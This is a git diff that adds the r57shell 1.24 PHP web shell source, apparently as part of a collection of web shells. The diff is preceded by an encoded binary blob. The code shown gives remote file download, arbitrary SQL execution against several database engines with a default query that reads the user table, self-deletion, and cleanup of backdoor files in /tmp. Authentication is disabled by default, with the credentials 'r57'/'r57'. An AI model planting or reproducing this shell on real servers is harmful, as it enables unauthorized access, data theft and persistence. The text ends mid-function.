z5EWk2v7<M&qt%=;`XtggVQ;#k){4oBq&7xT#3~>dd(Tr&g^MfsGqPUEqR_72q0UOv z!y&UeKIC%_-vH+wNw*GGTduNP>rj9-LEuy)jPsI0yluHDDIulk@AOaY3-*d<M>rOD zHvM<B-5TvY3;jc8Y7w+<xPWLoqzgstRxHHlh1V&P(}CHnpMSMSoe1eG|AV~$qYcb! zcD)+T`;j_Q3g1}@fbbDZ5XzO!|KQ-<rK{C44LtZQvJd(joko`zpzd`5WS_sWXtDv6 z_b25?<ab8wU#<Q|fcn=+<HGab-vQYIzT)LOf#3O^>~qn4`FE}lkTka<zvlLISfuMU zjl=grji}!t^RC35L4c!!0uG1W1#cZGY-{UlBF0JEw``mvYNasg<YL`y${o7F2n!#W z*Kuf`x{twiM4nQ+-K>QrjG*gJGwOTaf_AU~*C&9^O{f&{Z~RZMY5*(fw0sFVJ0YI( zc+M>6o@Hk62PRpX{umnuexJi-F<=O<-u6g^d%5~}uAJ(ZCVj}B&(^S`eb*26YUJEl zPL>h(2Q`q?9V!vg0hgAqzA?POip~G|RcS<vW1PcpiwjrK23tSTqk6fW>`_lMrrduu zz`2v{N!lA}9i@f(Rcf)V7ll0Wg1FyFR={as+HN%$zuvUB0T8@2_R@pqR?(}P`19E{ z@R<G)Nci#+E${QU)dNx>>+cMSLW`0F`$(|hTn5tM>oXnlndJCx^@CnAMCl*<zYb~u zPIv);CY(_r7}o)IfES4C@Khz+O~q>02>$kj^Gmio<XE7mClCAHt68fuL4rmEla)1T zx3we7yb!M^qfF@+ni{N%`Z$SK&NvtyAjDB0-u4>8A>0@H+VohtRE-QHMuub`<dzX1 zf|d(#@Wy5*rCAM}w~2b_0Ty`>?5sRabzDk5E3&k7;_yu&#Ko@C32VxJ?+9}4S8TBc zYeBimIDj|qfMPrK|Gq890S;sj&<Xz$xe?+l0EzGFfo;eVNL`lzjmahe@qm&#$3HbK zfWmkB2#X(>IGDX1A<86V6n41E<PknafDZvAOZmechqxrcV+1e~Kt=rRK#AE28ozEj z0GmGjBZ@&_0kH?_2@nx~*$!ikDX2Jnc4T6%ff2j2<&$bfjr`(*90APf(D5=PwaU`m za+JIRZ2c}n8ro7s74i4(TihM-rnuixbp5q=;E;a838w^w%amKXSKY)!&MP0M3YMUD zNi~2UzU2N{3fAa-(EBk_ow)g>Vu93ANKw<}sD02`0T<LPW^Qh**9f4ogVpT&eXK-! z%2h-~&2N#$y(F@>X3`m@a_MzHV!t%hGL4#J-?8XPx{S3s5}T^H;?ysW-egkU2l>yj zQAwM>#ol74?GJl~55ISfQPYP>^oD28@aSl)TZhsJJm}En$G_`fnV|YHH!x`6zC&zO zlstT{bwP*~-t#_@742wkkTXu(Ki9P5h*FwORAV-n){h>R|0Z_lo~4kGDo@Bf<cO(i zCOwRCRXAq1Vh(Prj_R`Yi!Sn!QJJmzEu&jOK$Ry|&l6Ab>C*i|&o2F<WaPcXAu0xj zg$S^W3X&eV4>|xS2~C18X6%+PjO;6psI}UlkIh1v%*Xkf`9ixeYJEA`Se7GKt@1G! z@M$5nK_jQRi0eMm{+FkM<=S1aX5@!&6mr(GT*T=I1!V7%*te<}NB4_{0X=Oky74ek zFpl{0oOpPizYLNeTYR?uLLid4eZH6n;60Uh5%p0CQBVrEyY+f19Bx@R&}BU(A!3RZ zd?PvU+-RO4{9G=;_-8~QJS50m2>g3vnxk*xla}L2>}sb|!j1JY(w--kiKJ!GQs`VD zMjyU@c^f`f<R)0z&zqCs1B+sLmX9HvCaqjzPREcm)Q>fy-d{RjJ|2k9R{034dvsS% zHQVb;L{Zm=rP7KHB@Z2C(k~V*GEUg#YrZWt<57zk#9l$L3U65|Ubc0hQj#WrB^#x` z0k9lMEM`WEG9y2%K26d)FI;Ki&4iA4dtkMM23g`<_SAj~#RpDtjI@LHLmahjDSZ0V zN<*o}RpiKdGJHQBI0OQlP7@<0eRx$gE{Xrk2btJ>Iv^Ap9z00sIr7Yo!YBnSzLXs9 zXAKA;yu!U3=o|gF>1ucUWKj|4>P&C73W&HcS%Nw-+knG5DqBDnaUz$C&el~Y7<0y7 z<qF4O0)uij2r)c)3!{Hzd_u(1^nIE6;ZC?P$Og#Hkgy#95=5(PK%4d?0Bmp>4|u!? zJb@!6NZ-V*2!KAq6$1h22w@fw;*OsP7XyT#ro%(D5xy7581g1?0RGw@yNC+f29!2v zVi$-(^t%MX?U$6IxAg+C;?q#Fo>euTSvfV#fY`q|L;QDVr2p5))64==-;);(&SBaF zuxk7ZCV4Sri8$<}*|7aexIm6w#05?&ZUZ^h#S`C*E_Xcg*gP9Ir`aGnI)3{^Nm~|^ zByX(c19n$dVj_hGW*n=b4?$;92N<m}Kr0norAUVqqP)u;iJ+91cPobHQ;xNY7By~l z+qxY~nY&mJLxHKX+skN6ynV5%A!2ZKq`7pQ<tx^^N6wh#9v@7>{hE-n7t0UUgKqEs zad^ys#eUc7<>rT7g#d<pm)8<6#XeSRkY$!#%jTgD`|!+bg;p=hz5U{Bex`SsQ+<QL z!a9Ef_==Y~qt}xgHzR9DpGZ`zEz#?_wE0pUdRBeg(01369g>II%+|yAXQ<aTM&DmJ z&AbGoXvNM>pNpnQd+4m}SuD5UhvjJNH?iy$H-a{f7gw)3uv^bF#$9!Cxx7Sn^K_#v zTR=ho>K|udLfPj-i~<7JdM0kIw6L6gEHDVMD|)b2gkKg4lZU;a>}vAjSnazx2Y$1@ z5mM3yD`|)td7ZSBxkDx{VTG9$1<I;e^55_{WM-S!@SzyGCS+7hI?}sdQ}VtCZ{Ab% z=L`e`RQRzfV}_tlEaudb)V!&A*gX$7;C8&q9jMN@s^GL^NtFY5pkpJ@Drj6{!%`Vc zPEym(H+cB`qn*CU>BkCHApJe7hjOlaP{u&nd2<{1-+ViNmndpgVywXj9QJ+iVPp7o zcxGt(23pHHVqw9@=^-w`<_gob``ym(<G`%EB<!Cj4hIFOHcCBeqjN?a3Z^tJk1xzj z59o{?d;cN)MXC7<+FK_O{sSxmNv}-IyZNKehScSK-r5HplQQ{wxTdE#VR7{Fg?jbr zexA0~(dm=T-%g)|%-JZOASvah^#f^KePwU*uqgLAi)<XIG)3A);N#=wz)g}C4=(w9 zmm<|agYt7NMll{>Y5=2uX9l~J${5-uovF)NYZINtG;So`$=p5_doI==gSlPZzXb1q zxjSL}3O?}Eh~8XnFH_+Xb9fmSp4twiQsmMdY~%!h(yyrD$LdnnjeLt~q5waE46(K| zxav-1aJlHKEBQRZF9gVMmUi4I6w?S4llb80JvgmdPUiT&9#sLehueC7Kd#j0&C}pv zPFN!N6=A*}k{W5^o!&owf<-;tILXRmP5qv5^wVl`Zq-(qZK{S-4rZHB+nRppz-Uog zZhcv00#1-*Nk(F~v!%9$2VMj{62UuV$`Ho(FW>`s1RXv5TT3{$^`>>?Zj&gfky&Gj z7fg)u(z0OOd<L^YjFcr)=j55QA@>K!(DYY!u6;(=uTUmi-o7q}dD=_gF`|C$)59oP zhjfSdCs=3jOfwf%L*1X?s=0fC<`_n)f`389zs~$<_%^$!HO9;xYoJ;(?JaKI5NDCn zgyk5m4|G<j)8<*~jNN-EOY>|3cCD-ynV|)bQxB_R<QxG<K1!;uV6mOGge)&F1l`pC zlXYa;9ZS9lKT_TLOHC`T8ytzA@&iN|{l+6<?Z{)@V*0S7SC`e|+Di{1z<GZye*87| zVO6{T*)kVDwQLmhEd$>(fFRs=ak>f(QR44?s!U99i;hX&Qu>l0bUPYfE4f<a+jles zE@ng_9$R3~XcCia<pO=xYgx+uW>t|(zzf<;^eK_!0)lzo@aXDk<gq@%R(4VV!h}1X zpfx)CK)GyGgXKkvo2Y8x#@gvc2zT-Oc-C~GwajnNHs4GbrQATS!Q5%3N0vR_p&oc| z``mFg?F2sW6A~4%7<i<XC)cnlKbveY=nK%EF}qCTW5rLtI4e%gWksof3C&3rxZ)~0 z^jgxX9(-vw?e*}))qDq$Q4^-g0Rc3-Z{z62(i3op^s53BIJX2j!y^sxV<joz+V<>R zM>0Y&HR?MWQX|Ip$oZ^c=%hJ6v(ob@EYpc3A}P#M1oJ6+L>O?dkcOXBf8}~x+uQT` z!e^(29zS^es85B|*1Lu0eiZxLBaQAY^*12Wb0t@PZyR7)9jmHNEld=-xg94H@Ma3^ zdDf-WKiioj;1P{;c67~%VDP$`=+%LHQ6`2-Zj{0_J8)x9VeX6{&g7(%bzQDLJgm5h zqy4pVb?K5z^=(p{?^DPsJ~<IXvnw({>5E%6`xLVW*dki#PD!&O)spWsL#!B^qvp!Z z3L^vzmZf%4x;lCQRB*Bb-o5H7trU6=MCmfX9(&Z1?8p8)4`ozmuzT|-v(dd%vol`0 z4;oU~OL|ju`Ij;dUC%-KX>=^>89~v4`5^78AhOFjydJ{eY;r{I9Vx^Rar2<_gWNW& z=RbQKI^*Cb+m!!iLii`kBP0Qe0)9*UqqYexz=b&E4?PJ3tx;5EdF4z`ITeqy5L@sh zt2-T0<c3cZz-PdH$X;9v0yq-O&&)VB%-}^Gcv664(WbqZ2>k}U;vFIqw4z7U7myAE zm=$}gb~~~Y0ApeYGo(WJK+s*3?`Y8E&5T`r0BHXENdUKd96Z4>>^TnS*gON!M(Gt< z=Z1kYAi%qrI3HWl`@hH>jT-Jj1kb1tOiPPg`afpg5FJQvapuX^eyn#6Kf8g;6J0j7 zb#Zaf;oGRK$O>@Y50e$07P-RT3*{Ic5n}J}c1`K}U)=+m{?7}iXcuWzcxo@h&t<mf z$@Dnwj3lcQ>^d95fj=*Ky*P14euKKA$D-$ZJnbElS~<PB`-_fmvVvv1x=mKN$3+v` z(eH7>Ut?CU!aO$YNx~F!D$+xk5>7gcMj$hc>+b7F+<#v;S{B|<;=xw_qP&@Hw0b&Q zw$zl8W$9I>JJsANstQ>gpHnhfHCvqFF|34OXPY9wsuqO#wh!r<D5NsnwHg<vF*W9T z0a}emFJ>txdTBgle!jCi>ec4uu0?)IzC!M0m835joH5;$LjZ|oHyCxrtNGi?TFI?N z)Y^Mon!#**%XgqDR0D_SRa>i(ggV#Gaj}MyiJC#_h&odC>K=}z7&$1SuAH~O{ya~T z?K6{LU$fN=GmjKAXK=TM2_Nb?JOZI_=s($;JK9=Lxr$)YM%EVhMS!M@*VT%sUMiG% z*f+L5o~W(5G`EChR1jv{wye5#<}~#)z^ypG%nAm`JO>Vd;}0M5mG>o8&`%eo@`nM` so#Z9S`00#3{Z#+r&<M~R{%<}}?5ETEt9RUo{|_WX|500!V}JO+00@!yIsgCw literal 0 HcmV?d00001 diff --git a/php/PHPshell/r57shell127/r57shell127.php b/php/PHPshell/r57shell127/r57shell127.php new file mode 100644 index 0000000..2e685f7 --- /dev/null +++ b/php/PHPshell/r57shell127/r57shell127.php @@ -0,0 +1,2287 @@ +<?php +/******************************************************************************************************/ +/* +/* # # # # +/* # # # # +/* # # # # +/* # ## #### ## # +/* ## ## ###### ## ## +/* ## ## ###### ## ## +/* ## ## #### ## ## +/* ### ############ ### +/* ######################## +/* ############## +/* ######## ########## ####### +/* ### ## ########## ## ### +/* ### ## ########## ## ### +/* ### # ########## # ### +/* ### ## ######## ## ### +/* ## # ###### # ## +/* ## # #### # ## +/* ## ## +/* +/* +/* +/* r57shell.php - +/* : http://rst.void.ru +/* : 1.24 (New Year Edition) +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* (c)oded by 1dt.w0lf +/* RST/GHC http://rst.void.ru , http://ghc.ru +/* ANY MODIFIED REPUBLISHING IS RESTRICTED +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* : blf, virus, NorD RST/GHC. +/******************************************************************************************************/ +/* ~~~ | Options ~~~ */ + +// | Language +// $language='ru' - (russian) +// $language='eng' - english () +$language='ru'; + +// | Authentification +// $auth = 1; - ( authentification = On ) +// $auth = 0; - ( authentification = Off ) +$auth = 0; + +// (Login & Password for access) +// !!! (CHANGE THIS!!!) +$name='r57'; // (user login) +$pass='r57'; // (user password) +/******************************************************************************************************/ +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = "1.24"; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_SERVER as $k=>$v) + { + $_SERVER[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass) + { + header('WWW-Authenticate: Basic realm="r57shell"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>"); + } +} +$head = '<!-- --> +<html> +<head> +<title>r57shell</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> + +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +td { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +.table1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +BACKGROUND-COLOR: #D4D0C8; +} +.td1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +font: 7pt Verdana; +} +.tr1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +} +table { +BORDER-RIGHT: #eeeeee 1px outset; +BORDER-TOP: #eeeeee 1px outset; +BORDER-LEFT: #eeeeee 1px outset; +BORDER-BOTTOM: #eeeeee 1px outset; +BACKGROUND-COLOR: #D4D0C8; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +submit { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +BACKGROUND-COLOR: #e4e0d8; +width: 30%; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +} +BODY { +margin-top: 1px; +margin-right: 1px; +margin-bottom: 1px; +margin-left: 1px; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(@mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +if(isset($_GET['img'])&&!empty($_GET['img'])) + { + $images = array(); + $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw=='; + $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw=='; + @ob_clean(); + header("Content-type: image/gif"); + echo base64_decode($images[$_GET['img']]); + die(); + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; } + else + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $filedump = @fread($file,@filesize($_POST['d_name'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if ($_POST['cmd']=="db_query") + { + echo $head; + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @mysql_query($query,$db); + $error = @mysql_error($db); + if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } + else { + if (@mysql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mysql_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } + } + @mysql_free_result($res); + } + } + @mysql_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @mssql_query($query,$db); + if (@mssql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mssql_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */ + @mssql_free_result($res); + } + } + @mssql_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @pg_query($db,$query); + $error = @pg_errormessage($db); + if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } + else { + if (@pg_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @pg_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } + } + @pg_free_result($res); + } + } + @pg_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>"; + break; + case 'Oracle': + $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); + if(($error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; } + else + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5) { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $stat = @ociparse($db, $query); + @ociexecute($stat); + if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; } + else + { + $rowcount = @ocirowcount($stat); + if($rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";} + else { + echo "<table width=100%><tr>"; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".htmlspecialchars(@ocicolumnname($stat, $j))."&nbsp;</b></font></td>"; } + echo "</tr>"; + while(ocifetch($stat)) + { + echo "<tr>"; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2>&nbsp;".htmlspecialchars(@ociresult($stat, $j))."&nbsp;</font></td>"; } + echo "</tr>"; + } + echo "</table><br>"; + } + @ocifreestatement($stat); + } + } + } + @ocilogoff($db); + } + break; + } + echo "<form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div 